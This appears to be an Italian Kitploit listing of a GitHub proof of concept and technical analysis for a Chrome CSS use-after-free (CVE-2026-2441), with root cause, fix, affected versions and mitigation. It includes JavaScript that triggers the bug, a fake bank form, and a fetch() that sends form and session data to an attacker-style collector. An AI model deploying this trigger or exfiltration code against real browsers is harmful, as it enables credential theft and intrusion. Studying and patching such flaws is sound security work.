Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-2441 — Proof-of-concept dettagliato e analisi tecnica per CVE-2026-2441, una vulnerabilità use-after-free di Chrome CSS che consente RCE nel renderer in sandbox tramite pagine HTML create ad arte. | Kitploit
Strumenti/GitHubGitHub/martinastarone/cve-2026-2441
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPhishingAnalisi MalwarePenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingSviluppo PayloadBinary Exploitation
53 mesi faNon ancora revisionato
GitHub
martinastarone/cve-2026-2441

CVE-2026-2441

Proof-of-concept dettagliato e analisi tecnica per CVE-2026-2441, una vulnerabilità use-after-free di Chrome CSS che consente RCE nel renderer in sandbox tramite pagine HTML create ad arte.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-2441 — Use-After-Free in Chrome CSSFontFeatureValuesMap

CVSS 8.8 (Alta) | Attivamente sfruttata in natura | RCE nel renderer (in sandbox)

Una vulnerabilità use-after-free nel motore CSS Blink di Google Chrome che consente a un attaccante remoto di eseguire codice arbitrario all'interno della sandbox del browser tramite una pagina HTML predisposta.

Dettagli della vulnerabilità

CampoValore
CVECVE-2026-2441
CVSS8.8 (Alta)
TipoUse-After-Free (CWE-416)
ComponenteBlink CSS — CSSFontFeatureValuesMap
File sorgentethird_party/blink/renderer/core/css/css_font_feature_values_map.cc
Commit di fix63f3cb4864c64c677cd60c76c8cb49d37d08319c
SegnalatoreShaheen Fazim (2026-02-11)
Data patch2026-02-13
In-the-WildSì — Google ha confermato lo sfruttamento attivo

Versioni affette

PiattaformaVulnerabileCorretta
Windows / macOS (Stable)< 145.0.7632.75>= 145.0.7632.75
Linux (Stable)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS (Extended Stable)< 144.0.7559.177>= 144.0.7559.177
Browser basati su Chromium (Edge, Brave, Opera, Vivaldi)Verificare l'avviso del fornitoreVariabile

Causa principale

FontFeatureValuesMapIterationSource memorizzava un puntatore grezzo (const FontFeatureAliases* aliases_) alla HashMap interna FontFeatureAliases. Quando la mappa viene mutata durante l'iterazione tramite set() o delete(), la HashMap si riorganizza (rehash) — allocando nuova memoria e liberando la vecchia. Il puntatore grezzo diventa dangling e la successiva chiamata a FetchNextItem() legge da memoria già liberata.

Percorso del codice vulnerabile

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = puntatore grezzo alla HashMap interna
  → iterator_ = aliases_->begin()

FetchNextItem()
  → legge iterator_->key  (tramite aliases_)

Se map.set() / map.delete() viene chiamato tra le iterazioni:
  → la HashMap si riorganizza (nuova allocazione, vecchia liberata)
  → aliases_ → puntatore dangling
  → iterator_ → invalidato
  → Prossimo FetchNextItem() → USE-AFTER-FREE

Fix

root@kitploit:~
- const FontFeatureAliases* aliases_;   // puntatore grezzo → dangling dopo rehash
+ const FontFeatureAliases aliases_;    // copia profonda → immune al rehash

Il fix sostituisce il puntatore grezzo con una copia profonda della HashMap. Anche se la mappa originale si riorganizza, l'iteratore opera sulla propria copia, impedendo il dangling pointer.

Proof of Concept

Utilizzo

  1. Aprire poc.html in una versione vulnerabile di Chrome (< 145.0.7632.75)
  2. La pagina tenterà di attivare la UAF attraverso tre metodi diversi

Risultati attesi

Versione di ChromeComportamento atteso
< 145.0.7632.75 (non aggiornata)Crash del renderer — STATUS_ACCESS_VIOLATION (Windows) o SIGSEGV (Linux/macOS). Chrome mostra l'errore "Impossibile aprire questa pagina".
>= 145.0.7632.75 (aggiornata)Nessun crash — la PoC viene eseguita completamente, tutte le voci vengono lette normalmente.

Come funziona la PoC

La PoC è organizzata per mostrare la catena di sfruttamento in un ordine chiaro e riproducibile. La prima parte crea l'oggetto Blink/CSS vulnerabile, la seconda parte attiva l'invalidazione dell'iteratore e la parte finale simula gli effetti post-sfruttamento in un ambiente accademico sicuro.

Nota importante: l'attivazione della UAF è implementata attraverso reali API CSS/JavaScript esposte dal browser. La perdita di heap e il dashboard di esfiltrazione sono intenzionalmente controllati/simulati per evitare di rilasciare un exploit weaponizzato per Chromium.

Passo 1: Creazione della struttura CSS vulnerabile

Il payload definisce prima una regola CSS @font-feature-values:

root@kitploit:~
@font-feature-values VulnFont {
  @styleset {
    a0: 1; a1: 2; a2: 3; a3: 4;
    a4: 5; a5: 6; a6: 7; a7: 8;
  }
}

Questa regola induce Blink a creare un CSSFontFeatureValuesMap interno. Nell'implementazione vulnerabile, l'iterazione su questa mappa non è sicura perché l'iteratore mantiene un puntatore grezzo alla memoria interna di FontFeatureAliases.

In seguito, il payload JavaScript ottiene la mappa dal foglio di stile:

root@kitploit:~
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;

A questo punto, la pagina controllata dall'attaccante ha un handle JavaScript a un oggetto del browser la cui implementazione C++ interna è vulnerabile all'invalidazione dell'iteratore.

Passo 2: Esecuzione ritardata dell'attivatore UAF

L'attivatore non viene eseguito immediatamente. La PoC attende 800 ms prima di eseguire la sequenza vulnerabile:

root@kitploit:~
setTimeout(triggerUAF, 800);

Questo ritardo è usato per la stabilità della demo. Consente di rendere la pagina e il form falso di verifica bancaria prima che venga eseguito l'attivatore di corruzione della memoria. In uno scenario reale di drive-by, lo stesso attivatore potrebbe anche essere lanciato automaticamente non appena la pagina malevola viene caricata.

Passo 3 — Creazione dell'iteratore e mutazione concorrente della mappa

Il primitivo UAF centrale è il seguente ciclo:

root@kitploit:~
const it = map.entries();
let step = 0;

while (step < 4) {
    const res = it.next();
    if (res.done) break;

    const [key] = res.value;

    map.delete(key);
    map.set("uaf_" + step, [step, step + 1]);

    step++;
}

La vulnerabilità è attivata dall'ordine delle operazioni:

root@kitploit:~
1. map.entries() crea un iteratore su CSSFontFeatureValuesMap.
2. Nell'implementazione Blink vulnerabile, l'iteratore fa riferimento alla memoria interna della mappa.
3. it.next() legge la voce successiva attraverso quell'iteratore.
4. map.delete(key) muta la stessa mappa mentre l'iteratore è ancora attivo.
5. map.set(...) inserisce una nuova voce e può forzare la HashMap sottostante a riorganizzarsi.
6. La riorganizzazione può liberare o spostare la vecchia memoria.
7. L'iteratore potrebbe ancora fare riferimento alla vecchia memoria.
8. Il successivo accesso all'iteratore può quindi diventare un Use-After-Free.

Passo 4 — Pressione controllata sull'heap invece di un heap spray aggressivo

La strategia aggressiva originale utilizzava un ciclo simile a heap spray più grande, ad esempio inserendo centinaia di elementi come 512 nuove voci dopo ogni cancellazione. Ciò crea una pressione sull'heap più forte e rende più probabile la riallocazione/riutilizzo.

Per la demo live, questo è stato ridotto a soli 4 passi di mutazione:

root@kitploit:~
while (step < 4) {
    // lettura iteratore + delete + set
}

La ragione è pratica e pedagogica: lo spray da 512 elementi spesso faceva crashare immediatamente il renderer. Un crash è utile per dimostrare l'impatto sulla disponibilità, ma impedisce al resto della dimostrazione di mostrare il furto di dati simulato e il dashboard dell'attaccante. La versione ridotta dimostra ancora la logica vulnerabile di invalidazione dell'iteratore mantenendo il browser sufficientemente stabile per la presentazione live.

Passo 5 — Perdita simulata di puntatori heap

Un vero exploit UAF weaponizzato richiederebbe normalmente un primitivo di divulgazione della memoria per perdere puntatori heap o V8 e bypassare ASLR. La demo non implementa una reale lettura arbitraria della memoria. Invece, genera un indirizzo simile a heap da un intervallo statico predefinito:

root@kitploit:~
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);

heapLeak = {
  raw:  "0x" + base.toString(16).toUpperCase(),
  base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};

Questo valore è una perdita di heap simulata:

  • 0x55a000000000 è l'intervallo iniziale simile a heap fisso usato dalla demo.
  • Math.random() * 0x200000 aggiunge un piccolo offset casuale.
  • base & ~0xfff allinea l'indirizzo a un limite di pagina.

Lo scopo è mostrare come apparirebbe una perdita di bypass ASLR sul dashboard dell'attaccante senza implementare un vero exploit di divulgazione della memoria.

Passo 6 — Esfiltrazione verso il backend locale dell'attaccante

Dopo l'attivatore UAF e la perdita di heap simulata, la PoC costruisce un payload contenente i dati del form raccolti, i dati di sessione residenti nel browser, un frammento DOM, lo stato UAF e la perdita di heap simulata. Il payload viene inviato al backend locale dell'attaccante:

root@kitploit:~
await fetch("http://127.0.0.1:7777/collect", {
  method:  "POST",
  headers: {
    "Content-Type": "application/json",
    "X-C2-Origin": "evil-tracker-cdn.xyz"
  },
  body: JSON.stringify(payload)
});

Il backend locale riceve i dati su POST /collect, li memorizza in memoria e li inoltra al dashboard dell'attaccante tramite Server-Sent Events (GET /events). Questo modella la fase di comando e controllo/esfiltrazione di un attacco reale pur rimanendo locale e controllato.

Impatto

Immediato (ambito sandbox)

  • Esecuzione di codice arbitrario all'interno della sandbox del processo renderer
  • Divulgazione di informazioni — perdita di puntatori heap V8 (bypass ASLR), lettura del contenuto della memoria del renderer
  • Furto di credenziali — lettura di document.cookie, localStorage, sessionStorage, valori di input dei form
  • Hijacking di sessione — furto di token di sessione, esfiltrazione tramite fetch() / WebSocket / sendBeacon()
  • Manipolazione del DOM — iniezione di form di phishing, modifica del contenuto della pagina
  • Keylogging — cattura di tutte le battute tramite addEventListener('keydown')

In catena (con escape dalla sandbox)

Quando combinato con una vulnerabilità separata di escape dalla sandbox:

root@kitploit:~
RCE nel renderer (CVE-2026-2441)
    → Exploit Mojo IPC → RCE nel processo browser
        → Exploit del kernel → Compromissione totale del sistema
            → Installazione di malware / ransomware / spyware
            → Accesso al filesystem, movimento laterale, persistenza

Catene di exploit reali che hanno utilizzato UAF simili del browser:

  • NSO Pegasus — WebKit UAF + escape dalla sandbox + exploit del kernel
  • Intellexa Predator — Chrome UAF + exploit del kernel Android
  • APT-28 (Fancy Bear) — Chrome 0-day + catena di LPE su Windows

Vettore di attacco

Questa vulnerabilità è sfruttabile tramite download drive-by — non è richiesta alcuna interazione dell'utente oltre alla visita di una pagina malevola:

  • Malvertising — annunci malevoli serviti attraverso reti pubblicitarie legittime
  • Watering hole — compromissione di un sito frequentato frequentemente dal bersaglio
  • Spear phishing — invio di un link predisposto tramite email o messaggistica

Mitigazione

  1. Aggiornare Chrome a >= 145.0.7632.75 (Windows/macOS) o >= 144.0.7559.75 (Linux)
  2. Aggiornare i browser basati su Chromium (Edge, Brave, Opera, Vivaldi) quando le patch del fornitore sono disponibili
  3. Verificare che Site Isolation sia attivato (chrome://flags/#site-isolation-trial-opt-out)
  4. Monitorare gli endpoint per versioni di Chrome inferiori alle build corrette

Timeline

DataEvento
2026-02-11Vulnerabilità segnalata da Shaheen Fazim
2026-02-13Google rilascia Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux)
2026-02-13Google riconosce lo sfruttamento in-the-wild
2026-02-16Vivaldi e Opera rilasciano fix

Riferimenti

  • Blog dei rilasci di Google Chrome
  • NVD — CVE-2026-2441
  • The Hacker News — Chrome Zero-Day sotto attacco attivo
  • Chromium Issue Tracker (riservato)

Supporto

Se trovi utile questa ricerca, considera l'idea di offrirmi un caffè:

Buy Me A Coffee

Disclaimer

Questa proof of concept è fornita esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. L'uso di questa PoC contro sistemi senza esplicita autorizzazione è illegale e non etico. L'autore non è responsabile per qualsiasi uso improprio.

Licenza

MIT

Scarica lo strumento